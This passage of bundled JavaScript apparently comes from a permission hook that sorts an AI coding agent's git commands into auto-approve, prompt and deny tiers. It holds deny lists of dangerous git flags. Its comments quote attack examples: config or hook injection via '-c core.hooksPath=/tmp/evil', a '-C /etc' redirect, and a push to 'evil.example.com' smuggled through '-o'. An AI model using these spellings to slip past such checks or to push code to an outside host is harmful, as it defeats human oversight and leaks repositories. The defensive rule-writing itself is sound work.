path stays within `cwd` (paths outside `cwd` are handled by the\n* outside-cwd-write rule instead).\n*\n* Matches on a resolved path *segment* exactly equal to `.git`, not a\n* substring, so it does not mistake `.gitignore`, `.gitkeep`, `.github/`,\n* `src/foo.git.ts`, or a directory merely named `mygit`/`git` for a `.git/`\n* target.\n*/\nfunction targetsGitDir(filePath, cwd) {\n const pp = pathFlavorFor(cwd);\n const resolved = resolveIn(cwd, filePath);\n if (!isWithin(cwd, resolved)) return false;\n const rel = pp.relative(cwd, resolved);\n if (rel === \"\") return false;\n return rel.split(pp.sep).includes(\".git\");\n}\n/**\n* Whether `filePath` (resolved against `cwd`) has a path segment exactly equal\n* to `node_modules` -- i.e. it names a location inside *any* installed package\n* tree, at any depth, including pnpm's virtual store\n* (`node_modules/.pnpm/<pkg>/node_modules/<pkg>/...`).\n*\n* **Deliberately not scoped to `cwd`**, unlike `targetsGitDir`. pnpm populates\n* `node_modules` with *hardlinks into the global content-addressable store*, so\n* a single in-place overwrite of an installed file (a plain `cp`, a `>`\n* redirect -- anything that opens the destination `O_WRONLY|O_TRUNC` rather than\n* unlinking it first) writes *through* the link and mutates the store's own\n* content-addressed file. That corrupts the package for the global store, every\n* other project on the machine that shares the inode, and every future install\n* or `pnpm dlx` that hardlinks it -- with no error at the scene, because the\n* directory that did the writing ends up perfectly consistent.\n*\n* This is exactly how a local `@bensandee/tooling` build landed on top of the\n* published 0.64.2 in the store on 2026-07-13: `cp -r <local>/dist/*` over a\n* scratch consumer's `node_modules/@bensandee/tooling/dist/`. The destination\n* was outside `cwd` -- so a cwd-scoped check would not have seen it -- and the\n* store stayed broken until a consumer's `pnpm dlx` failed days later with\n* `ERR_MODULE_NOT_FOUND` for a chunk that no published tarball has ever\n* contained.\n*\n* The lesson encoded here: **cwd-containment is not a safety boundary for\n* `node_modules`.** A path inside it is not \"in the project\" in any meaningful\n* sense -- it is a shared, machine-global resource wearing a local path. Hence\n* every segment of the *resolved* path is checked, wherever it lands.\n*\n* Matches on a path *segment*, not a substring, so `src/node_modules_helper.ts`\n* and `docs/node_modules.md` are not mistaken for the real thing.\n*/\nfunction targetsNodeModules(filePath, cwd) {\n return resolveIn(cwd, filePath).split(/[/\\\\]/).includes(\"node_modules\");\n}\n\n//#endregion\n//#region src/rules.ts\nconst GIT_READ_OPS = /* @__PURE__ */ new Set([\n \"status\",\n \"log\",\n \"diff\",\n \"show\",\n \"blame\",\n \"grep\",\n \"shortlog\",\n \"range-diff\",\n \"describe\",\n \"branch\",\n \"remote\",\n \"fetch\",\n \"ls-files\",\n \"ls-tree\",\n \"ls-remote\",\n \"show-ref\",\n \"for-each-ref\",\n \"rev-parse\",\n \"rev-list\",\n \"cat-file\",\n \"diff-tree\",\n \"name-rev\",\n \"merge-base\",\n \"check-ignore\"\n]);\n/** Git subcommands that modify the working tree, index, or history. */\nconst GIT_WRITE_OPS = /* @__PURE__ */ new Set([\n \"push\",\n \"add\",\n \"commit\",\n \"reset\",\n \"merge\",\n \"rebase\",\n \"cherry-pick\",\n \"checkout\",\n \"switch\",\n \"stash\",\n \"tag\",\n \"revert\",\n \"clean\",\n \"rm\",\n \"mv\"\n]);\n/** Flags on git that enable arbitrary code execution */\nconst GIT_DANGEROUS_FLAGS = /* @__PURE__ */ new Set([\n \"-c\",\n \"--exec-path\",\n \"--pager\",\n \"--upload-pack\",\n \"--receive-pack\"\n]);\n/** Git global flags that consume the next token as an argument. */\nconst GIT_FLAGS_WITH_ARG = /* @__PURE__ */ new Set([\n \"-C\",\n \"-c\",\n \"--git-dir\",\n \"--work-tree\"\n]);\n/** Extract the git subcommand (first non-flag token after \"git\"), skipping flag arguments. */\nfunction getGitSubcommand(tokens) {\n const args = tokens.slice(1);\n for (let i = 0; i < args.length; i++) {\n const t = args[i];\n if (GIT_FLAGS_WITH_ARG.has(t)) {\n i++;\n continue;\n }\n if (t.startsWith(\"-\")) continue;\n return t;\n }\n}\nfunction isGitReadOp(tokens) {\n for (const t of tokens.slice(1)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || t === \"-o\" || t.startsWith(\"--output\")) return false;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"-o=\") || t.startsWith(\"--output=\")) return false;\n }\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n return stashAction === \"list\" || stashAction === void 0;\n }\n if (sub === \"remote\") {\n let actionIdx = tokens.indexOf(\"remote\") + 1;\n while (tokens[actionIdx] === \"-v\" || tokens[actionIdx] === \"--verbose\") actionIdx++;\n const remoteAction = tokens[actionIdx];\n return remoteAction === void 0 || remoteAction === \"-v\" || remoteAction === \"--verbose\" || remoteAction === \"show\" || remoteAction === \"get-url\";\n }\n return GIT_READ_OPS.has(sub);\n}\nfunction isGitWriteOp(tokens) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n if (stashAction === \"list\" || stashAction === void 0) return false;\n }\n return GIT_WRITE_OPS.has(sub);\n}\n/** Safe stash actions that don't risk data loss. */\nconst STASH_SAFE_ACTIONS = /* @__PURE__ */ new Set([\n \"push\",\n \"pop\",\n \"apply\",\n \"show\"\n]);\n/**\n* Positional (non-flag) path arguments of a `git mv` command. The caller only\n* invokes this once the subcommand is known to be `mv`, so `mv` is present.\n* `git mv` flags (-f/--force, -k, -n/--dry-run, -v/--verbose) never consume a\n* separate argument, so every non-flag token after `mv` is a path.\n*/\nfunction gitMvPaths(tokens) {\n const mvIdx = tokens.indexOf(\"mv\");\n return tokens.slice(mvIdx + 1).filter((t) => !t.startsWith(\"-\"));\n}\n/**\n* True when a short-option letter appears in any cluster after `sub`, or one of\n* `longFlags` appears verbatim. Neither `git rm` nor `git clean` has a short\n* flag taking an attached value, so a plain character scan is exact for them;\n* `git clean -e<pattern>` does, and a pattern containing the letter only ever\n* produces a false positive, which leaves the caller on the deny side.\n*/\nfunction hasShortLetterOrLongFlag(tokens, sub, letter, longFlags) {\n for (const t of tokens.slice(tokens.indexOf(sub) + 1)) {\n if (!t.startsWith(\"-\")) continue;\n if (t.startsWith(\"--\")) {\n if (longFlags.includes(t)) return true;\n continue;\n }\n if (t.slice(1).includes(letter)) return true;\n }\n return false;\n}\n/**\n* `git mv` and `git rm` are not auto-approvable, but they are not known-unsafe\n* either: the shell spellings they mirror already reach a prompt, and `git rm`\n* additionally refuses a file carrying uncommitted changes unless forced -- so\n* denying it while prompting for `rm` inverts the tiers.\n*\n* `git rm -r` stays denied to mirror the `rm-recursive` rule, which cannot\n* cover it: that rule matches on tokens[0] (`/^rm$/`) and never sees `git`.\n*/\nfunction isGitWorktreeMoveOrRemove(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"mv\" && sub !== \"rm\") return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n if (sub === \"rm\" && hasShortLetterOrLongFlag(tokens, sub, \"r\", [\"--recursive\"])) return false;\n return true;\n}\nconst WORKTREE_ADVICE = \"You're creating a feature branch in the primary worktree. An isolated worktree keeps this work independent of other windows, and with no commits on this branch yet, converting is cheap -- `git worktree add ../<dir> -b <branch>` (a sibling outside the repo, with its own dependency install). But it is the home of a **separate session opened there**: writes to a path outside this session's project directory are denied, so this session cannot edit it. If you cannot open a session there, stay in the primary checkout on this branch and check `git branch --show-current` before each commit.\";\n/**\n* True when the command creates a branch: `git checkout -b/-B` or\n* `git switch -c/-C`, including those letters carried in a short-option\n* cluster with other letters or an attached value (`-bfix-bug`, `-qc\n* feat/x`). A plain `git switch <branch>` is not creation. Long spellings\n* (`--create`, `--force-create`) are deliberately not recognized as creation\n* here -- only the short grammar is in scope.\n*/\nfunction isGitBranchCreation(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"checkout\" && sub !== \"switch\") return false;\n const after = tokens.slice(tokens.indexOf(sub) + 1);\n const creationLetters = sub === \"checkout\" ? [\"b\", \"B\"] : [\"c\", \"C\"];\n return after.some((t) => {\n const cluster = splitShortOptionCluster(t, sub);\n return cluster !== void 0 && cluster.letters.some((l) => creationLetters.includes(l));\n });\n}\n/**\n* Every branch name a force-create spelling in `after` (the tokens following\n* the subcommand -- and past `add`, for `worktree add`) targets. Usually zero\n* or one, but git's last-occurrence-wins on a repeated force-create flag is\n* not modeled: every occurrence contributes its target, so a repeated flag\n* (`git switch -C main -C feat/x`) denies conservatively rather than\n* resolving which one wins.\n*\n* Grammar, reusing `splitShortOptionCluster`: a cluster whose letters include\n* the force letter (`C` for switch, `B` for checkout and worktree add)\n* contributes its attached value when non-empty, else the next argv token;\n* an unambiguous prefix of `--force-create` (switch only -- `--force-` is\n* the shortest, since `--force` is itself a distinct exact option) contributes\n* the next argv token; the same prefix with a `=<name>` suffix contributes the\n* attached name. A force-create flag with nothing after it (a valueless\n* trailing `-C`, or `--force-create` as the last token) resolves no target\n* for that occurrence -- git errors on the command anyway, so today's routing\n* is preserved.\n*/\nfunction gitForceCreateTargets(after, letterSub) {\n const forceLetter = letterSub === \"switch\" ? \"C\" : \"B\";\n const targets = [];\n for (let i = 0; i < after.length; i++) {\n const t = after[i];\n if (t === void 0) continue;\n if (letterSub === \"switch\") {\n const [flag, ...rest] = t.split(\"=\");\n if (flag !== void 0 && flag.length >= 8 && \"--force-create\".startsWith(flag)) {\n const target = rest.length > 0 ? rest.join(\"=\") : after[i + 1];\n if (target !== void 0) targets.push(target);\n continue;\n }\n }\n const cluster = splitShortOptionCluster(t, letterSub);\n if (cluster === void 0 || !cluster.letters.includes(forceLetter)) continue;\n if (cluster.attachedValue !== void 0 && cluster.attachedValue !== \"\") {\n targets.push(cluster.attachedValue);\n continue;\n }\n const next = after[i + 1];\n if (next !== void 0) targets.push(next);\n }\n return targets;\n}\n/**\n* Every branch name a force-create spelling targets in a full `git ...`\n* command: `switch -C`/`--force-create`, `checkout -B`, or `worktree add -B`.\n* Any other subcommand -- including `worktree list`/`remove`/`move` -- always\n* resolves no target. `worktree add` reuses checkout's `-b`/`-B` grammar\n* (identical required-value letter), so no new letter set is needed.\n*/\nfunction gitCommandForceCreateTargets(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub === \"switch\" || sub === \"checkout\") return gitForceCreateTargets(tokens.slice(tokens.indexOf(sub) + 1), sub);\n if (sub === \"worktree\") {\n const worktreeIdx = tokens.indexOf(\"worktree\");\n if (tokens[worktreeIdx + 1] !== \"add\") return [];\n return gitForceCreateTargets(tokens.slice(worktreeIdx + 2), \"checkout\");\n }\n return [];\n}\n/**\n* True when a `switch`/`checkout`/`worktree add` command force-creates a\n* branch under a name in the protected set. Force-create resets an existing\n* branch to the start point (HEAD by default) rather than merely creating\n* it, so this is a claim about the TOKENS, not the current branch -- unlike\n* isGitProtectedBranchWrite (below), this never calls getCurrentBranch and is\n* valid even outside a repository, where main/master are protected\n* unconditionally.\n*/\nfunction isGitProtectedBranchForceCreate(tokens, ctx) {\n const targets = gitCommandForceCreateTargets(tokens);\n if (targets.length === 0) return false;\n const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n return targets.some((t) => protectedSet.has(t));\n}\n/**\n* True when a global flag sits before the subcommand that enables config or\n* executable injection (GIT_DANGEROUS_FLAGS) or repoints git at an arbitrary\n* directory (GIT_REPO_REDIRECT_FLAGS). Global flags sit *before* the\n* subcommand; only that span is inspected so a positional argument that\n* happens to be spelled \"-C\" is never mistaken for the flag. Shared by\n* isGitSafeWriteOp and isGitBareCheckout -- mirrors isGitFeatureBranchWrite's\n* and isGitSafePush's identical scans (same constants, same rationale).\n* Without this, `git -c core.hooksPath=/tmp/evil add file.txt` or\n* `git -C /etc worktree add ../wt feat/x` would auto-approve via the\n* branches below.\n*/\nfunction hasGitPreSubcommandDangerousFlag(tokens, sub) {\n const subIdx = tokens.indexOf(sub);\n for (const t of tokens.slice(1, subIdx)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || GIT_REPO_REDIRECT_FLAGS.has(t)) return true;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return true;\n }\n return false;\n}\n/**\n* True for a `checkout` that isn't branch creation (`-b`/`-B`, which stays\n* auto-approved via isGitSafeWriteOp -- deny rules run before allow rules\n* unconditionally, so a predicate that forgot to exclude them would start\n* denying branch creation) and carries no global config/exec-injection or\n* repo-redirect flag (those keep routing to the git-write catch-all, whose\n* message already covers them).\n*\n* `git checkout <ref>` (branch change) and `git checkout -- <path>` / `git\n* checkout <ref> -- <path>` (file restore) are not distinguishable from\n* syntax alone, so this predicate -- and the single deny rule built on it --\n* deliberately covers both shapes with one message carrying both redirects,\n* rather than two rules guessing at which one a bare `git checkout <arg>` is.\n*/\nfunction isGitBareCheckout(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"checkout\") return false;\n if (isGitBranchCreation(tokens)) return false;\n return !hasGitPreSubcommandDangerousFlag(tokens, sub);\n}\n/**\n* `git checkout -- <path>` restores files; the separator makes the argument\n* unambiguously a path rather than a branch. It discards uncommitted work, so\n* it is never auto-approved -- but `git restore -- <path>`, the spelling\n* git-bare-checkout's reason redirects to, only prompts. One risk, one tier.\n*\n* A `-f` spelling still denies: git-discard-changes is evaluated first.\n*\n* A trailing separator with nothing after it (`git checkout main --`, `git\n* checkout --`) is not a restore -- there is no pathspec to redirect to\n* `git restore`, so it keeps the bare-checkout deny.\n*/\nfunction isGitCheckoutPathRestore(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"checkout\") return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n const rest = tokens.slice(tokens.indexOf(sub) + 1);\n const separatorIndex = rest.indexOf(\"--\");\n if (separatorIndex === -1) return false;\n return rest.slice(separatorIndex + 1).some((token) => !token.startsWith(\"-\"));\n}\n/**\n* True when a `switch`/`checkout` command carries a discard-changes spelling\n* after the subcommand: a prefix of `--force` or of `--discard-changes` (`--f`\n* and `--di` and longer -- git's parse-options accepts any unambiguous\n* long-option prefix), or a short cluster whose letters (before any\n* required-value option's attached value) contain `f`.\n*\n* Both long tests read `\"--force\".startsWith(token)`, never\n* `token.startsWith(\"--force\")`. `--force-create` shares the `--force` stem\n* and is a safe, auto-approved flag, so the reversed test would start denying\n* branch creation -- deny rules run before allow rules.\n*\n* This predicate has to be exhaustive rather than merely picking the deny\n* message: isGitUnrecognizedBranchFlag routes a flag outside the safe sets to\n* a human prompt, so a discard spelling missed here would soften to a prompt\n* instead of falling through to a deny.\n*/\nfunction isGitDiscardChanges(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"switch\" && sub !== \"checkout\") return false;\n return tokens.slice(tokens.indexOf(sub) + 1).some((t) => {\n if (t.length >= 3 && \"--force\".startsWith(t)) return true;\n if (t.length >= 4 && \"--discard-changes\".startsWith(t)) return true;\n return splitShortOptionCluster(t, sub)?.letters.includes(\"f\") ?? false;\n });\n}\n/**\n* Tokens safe after `switch`, exact-match only. An allowlist rather than a\n* denylist of `-f`/`--discard-changes`: git accepts unambiguous prefixes\n* (`--disc`) and short clusters (`-fc`), so a denylist of exact spellings\n* would not hold. `-` (previous-branch shorthand) is flag-shaped and must be\n* listed explicitly, or it would fall through to the deny side.\n*/\nconst GIT_SWITCH_SAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-c\",\n \"-C\",\n \"--create\",\n \"--force-create\",\n \"-d\",\n \"--detach\",\n \"-t\",\n \"--track\",\n \"--track=direct\",\n \"--track=inherit\",\n \"--no-track\",\n \"--guess\",\n \"--no-guess\",\n \"-q\",\n \"--quiet\",\n \"--progress\",\n \"--no-progress\",\n \"-\"\n]);\n/**\n* Tokens safe after `checkout`, kept separate from the switch set: `-c` is a\n* switch-only spelling and `-b`/`-B` are checkout-only, and sharing one set\n* would auto-approve each subcommand's flags on the other.\n*/\nconst GIT_CHECKOUT_SAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-b\",\n \"-B\",\n \"-t\",\n \"--track\",\n \"--track=direct\",\n \"--track=inherit\",\n \"--no-track\",\n \"--guess\",\n \"--no-guess\",\n \"-q\",\n \"--quiet\",\n \"--progress\",\n \"--no-progress\"\n]);\n/**\n* True when a flag-shaped switch/checkout token is safe: it is an exact\n* member of `safe`, or the helper reads it as a cluster whose every letter,\n* spelled `-<letter>`, is a member of `safe`. Exact-set membership is always\n* tried first and is the only test a non-cluster token (`-`, every long\n* flag) ever gets, so those keep matching exactly as they do today -- the\n* cluster reading is a fallback for short clusters only.\n*/\nfunction isSafeSwitchCheckoutFlag(t, sub, safe) {\n if (safe.has(t)) return true;\n const cluster = splitShortOptionCluster(t, sub);\n return cluster !== void 0 && cluster.letters.every((l) => safe.has(`-${l}`));\n}\n/**\n* True for a `switch`, or a branch-creating `checkout`, that the safe-flag\n* allowlists reject only because a flag is unrecognized -- `--orphan`,\n* `--conflict=`, `--recurse-submodules`, an abbreviation of a safe flag.\n* Ambiguous, not known-unsafe: the allowlists enumerate what has been\n* reasoned about, and a legitimate flag nobody listed must reach a human\n* prompt rather than a hard deny (blocking something safe is the failure\n* direction this hook does not accept). Mirrors\n* isGitPushWithoutExplicitRefspec's role in the same git-write `when`.\n*\n* Three shapes are deliberately left to deny instead: a discard spelling\n* (git-discard-changes, and isGitDiscardChanges is exhaustive so that this\n* predicate cannot soften one to a prompt), a `checkout` that creates no\n* branch (git-bare-checkout, whose message carries the restore redirect), and\n* a global config/exec-injection or repo-redirect flag, which keeps routing to\n* the git-write catch-all exactly as isGitBareCheckout leaves it.\n*/\nfunction isGitUnrecognizedBranchFlag(tokens) {\n const sub = getGitSubcommand(tokens);\n if (sub !== \"switch\" && sub !== \"checkout\") return false;\n if (isGitDiscardChanges(tokens)) return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n const after = tokens.slice(tokens.indexOf(sub) + 1);\n if (sub === \"checkout\" && !isGitBranchCreation(tokens)) return false;\n const safe = sub === \"switch\" ? GIT_SWITCH_SAFE_FLAGS : GIT_CHECKOUT_SAFE_FLAGS;\n return after.some((t) => t.startsWith(\"-\") && !isSafeSwitchCheckoutFlag(t, sub, safe));\n}\n/**\n* Git write operations that are safe to auto-approve:\n* - `git add` -- staging is trivially reversible\n* - `git checkout -b/-B` -- branch creation, without a discarding flag\n* - `git switch -c/-C` -- branch creation, without a discarding flag\n* - `git switch <branch>` -- branch switching, without a discarding flag\n* (switch only handles branches, unlike checkout)\n* - `git stash` / `git stash push|pop|apply|show` -- reversible stash operations\n* - `git mv` -- only when every path is a `.md` file under `docs/` (plan-lifecycle moves)\n*/\nfunction isGitSafeWriteOp(tokens, ctx) {\n const sub = getGitSubcommand(tokens);\n if (!sub) return false;\n if (hasGitPreSubcommandDangerousFlag(tokens, sub)) return false;\n if (sub === \"add\") return true;\n if (sub === \"mv\") {\n const GIT_MV_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-C\",\n \"--git-dir\",\n \"--work-tree\",\n \"-c\",\n \"--exec-path\"\n ]);\n if (tokens.some((t) => GIT_MV_UNSAFE_FLAGS.has(t) || t.startsWith(\"--exec-path=\"))) return false;\n const paths = gitMvPaths(tokens);\n return paths.length >= 2 && paths.every((p) => isDocsMarkdownPath(p, ctx));\n }\n if (sub === \"checkout\") {\n const afterCheckout = tokens.slice(tokens.indexOf(\"checkout\") + 1);\n if (!isGitBranchCreation(tokens)) return false;\n if (!afterCheckout.every((t) => !t.startsWith(\"-\") || isSafeSwitchCheckoutFlag(t, \"checkout\", GIT_CHECKOUT_SAFE_FLAGS))) return false;\n return !isGitProtectedBranchForceCreate(tokens, ctx);\n }\n if (sub === \"switch\") {\n if (!tokens.slice(tokens.indexOf(\"switch\") + 1).every((t) => !t.startsWith(\"-\") || isSafeSwitchCheckoutFlag(t, \"switch\", GIT_SWITCH_SAFE_FLAGS))) return false;\n return !isGitProtectedBranchForceCreate(tokens, ctx);\n }\n if (sub === \"stash\") {\n const stashAction = tokens[tokens.indexOf(\"stash\") + 1];\n if (stashAction === void 0) return true;\n return STASH_SAFE_ACTIONS.has(stashAction);\n }\n if (sub === \"worktree\") {\n const worktreeAction = tokens[tokens.indexOf(\"worktree\") + 1];\n if (worktreeAction !== \"list\" && worktreeAction !== \"add\") return false;\n return !isGitProtectedBranchForceCreate(tokens, ctx);\n }\n return false;\n}\n/** Git subcommands eligible for the feature-branch auto-approval. */\nconst GIT_FEATURE_BRANCH_OPS = /* @__PURE__ */ new Set([\n \"commit\",\n \"merge\",\n \"rebase\",\n \"cherry-pick\",\n \"revert\",\n \"reset\"\n]);\n/** Global git flags that redirect the effective repository/work tree. */\nconst GIT_REPO_REDIRECT_FLAGS = /* @__PURE__ */ new Set([\n \"-C\",\n \"--git-dir\",\n \"--work-tree\"\n]);\n/**\n* Checks (2)-(4) of the feature-branch predicate -- subcommand membership\n* plus the three flag guards -- with the branch check (5) left out. \"Eligible\n* but for the branch\": isGitFeatureBranchWrite adds \"and the branch isn't\n* protected\", isGitProtectedBranchWrite adds \"and the branch is protected\".\n* A command this rejects (a dangerous flag, say) has no valid redirect to\n* the feature-branch path either way -- it stays on the git-write catch-all,\n* which is why both callers share this instead of each re-deriving their own\n* notion of \"would work on a feature branch\".\n*/\nfunction isGitFeatureBranchEligible(tokens) {\n const sub = getGitSubcommand(tokens);\n if (!sub || !GIT_FEATURE_BRANCH_OPS.has(sub)) return false;\n for (const t of tokens.slice(1)) {\n if (GIT_DANGEROUS_FLAGS.has(t)) return false;\n if (t === \"-o\" || t.startsWith(\"--output\")) return false;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"-o=\")) return false;\n }\n for (const t of tokens.slice(1)) {\n if (GIT_REPO_REDIRECT_FLAGS.has(t)) return false;\n if (t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return false;\n }\n if (sub === \"rebase\") {\n for (const t of tokens.slice(1)) if (t === \"--exec\" || t === \"-x\" || t.startsWith(\"--exec=\")) return false;\n }\n return true;\n}\n/**\n* True when:\n* 1.-4. isGitFeatureBranchEligible(tokens);\n* 5. getCurrentBranch(ctx.cwd) is non-null AND not in the protected set.\n*\n* Both must hold. Any failure -> return false and let the deny rules fire.\n*/\nfunction isGitFeatureBranchWrite(tokens, ctx) {\n if (!isGitFeatureBranchEligible(tokens)) return false;\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return false;\n return !getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(current);\n}\n/**\n* True when a write is eligible for the feature-branch auto-approval\n* (isGitFeatureBranchEligible) but the current branch is known and\n* protected. An unknown branch -- detached HEAD, outside a repo, git state\n* unreadable -- must NOT take this rule: \"you are on a protected branch\" is\n* a claim the hook cannot make there, so those keep falling through to the\n* git-write catch-all.\n*/\nfunction isGitProtectedBranchWrite(tokens, ctx) {\n if (!isGitFeatureBranchEligible(tokens)) return false;\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return false;\n return getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(current);\n}\n/** Push flags that move refs we never auto-approve: bulk, tags, deletes. */\nconst GIT_PUSH_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"--mirror\",\n \"--all\",\n \"--tags\",\n \"--follow-tags\",\n \"--delete\",\n \"-d\",\n \"--prune\"\n]);\n/**\n* Push-specific flags that redirect the destination or the remote-side helper\n* program independently of the positional remote/refspec parsing below.\n* `--repo` is equivalent to (and overrides) the positional <repository>\n* argument -- `git push --repo=<url>` can push to an arbitrary host even with\n* zero positional args, bypassing the \"known remote\" check entirely.\n* `--receive-pack`/`--exec` tell git which program to invoke as the remote\n* helper; on local/dumb transports git runs that program directly, so this is\n* local code execution, not just a remote-side concern. All three are unlike\n* `-C`/`--git-dir`/`--work-tree` (GIT_REPO_REDIRECT_FLAGS) in that they are\n* push subcommand options, not global git flags, so they only need checking\n* after the subcommand -- but the checking still has to happen.\n*/\nconst GIT_PUSH_DANGEROUS_FLAGS = /* @__PURE__ */ new Set([\n \"--repo\",\n \"--receive-pack\",\n \"--exec\"\n]);\nconst GIT_PUSH_DANGEROUS_FLAG_PREFIXES = [\n \"--repo=\",\n \"--receive-pack=\",\n \"--exec=\"\n];\n/**\n* `-o`/`--push-option` send a string to the receiving hook -- but the reason\n* they must be rejected here is parsing, not the hook side effect. Unlike\n* `--repo`/`--receive-pack`/`--exec` above, which only ever appear as\n* `--flag=value`, `-o`/`--push-option` take a *space-separated* value\n* (`-o origin https://evil.example.com/x.git HEAD`). Left unrejected, that\n* value token survives the `!t.startsWith(\"-\")` positional filter below and\n* is mistaken for the remote, silently shifting the real destination into\n* the refspec position -- bypassing the \"known remote\" check in (5) entirely.\n* The `=` forms (`-o=value`, `--push-option=value`) aren't exploitable this\n* way (the URL stays a refspec and gets caught by the remote check), but are\n* rejected too rather than relying on that distinction holding up.\n*/\nconst GIT_PUSH_VALUE_FLAGS = /* @__PURE__ */ new Set([\"-o\", \"--push-option\"]);\nconst GIT_PUSH_VALUE_FLAG_PREFIXES = [\"-o=\", \"--push-option=\"];\n/**\n* The ref a refspec writes to. `src:dst` targets dst; a bare `ref` targets the\n* same name on the remote. Strips the leading \"+\" (force) -- callers reject that\n* separately -- and any `refs/heads/` prefix.\n*/\nfunction refspecDestination(refspec) {\n const spec = refspec.startsWith(\"+\") ? refspec.slice(1) : refspec;\n const colon = spec.lastIndexOf(\":\");\n return (colon === -1 ? spec : spec.slice(colon + 1)).replace(/^refs\\/heads\\//, \"\");\n}\n/**\n* Structural safety check shared by `isGitSafePush` and\n* `isGitPushWithoutExplicitRefspec`. Every condition must hold:\n*\n* 1. No global dangerous flag (config/exec injection) or repo-redirect flag.\n* 2. No bulk/tag/delete flag (GIT_PUSH_UNSAFE_FLAGS), no --repo /\n* --receive-pack / --exec (GIT_PUSH_DANGEROUS_FLAGS), and no -o /\n* --push-option (GIT_PUSH_VALUE_FLAGS) -- these redirect the destination,\n* the remote-side helper, or (for -o) the positional parse itself\n* independently of the remote/refspec parsing below, so they must be\n* rejected up front.\n* 3. No refspec begins with \"+\" -- a force-push the `--force` deny rule misses.\n* 4. Every refspec's *destination* is a non-protected branch, doesn't have\n* an empty source (\":branch\", the unflagged spelling of --delete/-d),\n* and isn't under refs/tags/ (the unflagged spelling of --tags). A\n* current-branch check alone would happily approve `git push origin\n* HEAD:main`.\n* 5. The remote, when named, is a configured remote -- never a URL or path, so\n* the repo cannot be pushed to an arbitrary host.\n* 6. The current branch is known and not protected.\n*\n* Deliberately does NOT require a refspec to be present -- an empty refspec\n* list (bare `git push` / `git push origin`) is structurally fine by these\n* six rules, it's just *ambiguous*: git resolves the actual destination from\n* push.default / branch.<x>.merge, config this hook does not (and, as of the\n* .git/ write deny rule, no longer needs to) trust. Callers decide what to do\n* with that ambiguity -- `isGitSafePush` requires refspecs.length > 0;\n* `isGitPushWithoutExplicitRefspec` requires the opposite, so the `git-write`\n* deny rule can route the ambiguous case to passthrough instead of a hard deny.\n*\n* Returns the parsed refspec list on success, or `null` on any failure.\n*/\nfunction gitPushStructuralRefspecs(tokens, ctx) {\n if (getGitSubcommand(tokens) !== \"push\") return null;\n const pushIdx = tokens.indexOf(\"push\");\n for (const t of tokens.slice(1, pushIdx)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || GIT_REPO_REDIRECT_FLAGS.has(t)) return null;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return null;\n }\n const after = tokens.slice(pushIdx + 1);\n if (after.some((t) => GIT_PUSH_UNSAFE_FLAGS.has(t) || GIT_PUSH_DANGEROUS_FLAGS.has(t) || GIT_PUSH_DANGEROUS_FLAG_PREFIXES.some((p) => t.startsWith(p)) || GIT_PUSH_VALUE_FLAGS.has(t) || GIT_PUSH_VALUE_FLAG_PREFIXES.some((p) => t.startsWith(p)))) return null;\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return null;\n const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n if (protectedSet.has(current)) return null;\n const positional = after.filter((t) => !t.startsWith(\"-\"));\n const maybeRemote = positional[0];\n const refspecs = positional.slice(1);\n if (maybeRemote !== void 0 && !getRemotes(ctx.cwd).has(maybeRemote)) return null;\n for (const spec of refspecs) {\n if (spec.startsWith(\"+\")) return null;\n if (spec.startsWith(\":\")) return null;\n const dst = refspecDestination(spec);\n if (protectedSet.has(dst)) return null;\n if (dst.startsWith(\"refs/tags/\")) return null;\n }\n return refspecs;\n}\n/**\n* True when `git push` is safe to auto-approve: structurally safe (see\n* `gitPushStructuralRefspecs`) AND carries at least one explicit refspec\n* positional argument. Without one -- bare `git push`, or `git push <remote>`\n* with no refspec -- the destination comes from push.default /\n* branch.<x>.merge, which this rule does not resolve or trust; see\n* `isGitPushWithoutExplicitRefspec` for that case.\n*\n* `--force-with-lease` is deliberately permitted: it is the alternative the\n* `git-force-push` deny rule already points users at, and it is routine after a\n* rebase. `--force`/`-f` remain denied by that rule -- even when\n* `--force-with-lease` also appears; the lease does not downgrade an\n* unconditional force (see `isGitForcePush`).\n*\n* The \"cannot push to an arbitrary host\" guarantee in condition 5 holds only\n* because writes into .git/ (which is where `remote.<name>.url` lives) are\n* denied at the file-tool and path-argument layers (`git-dir-write` 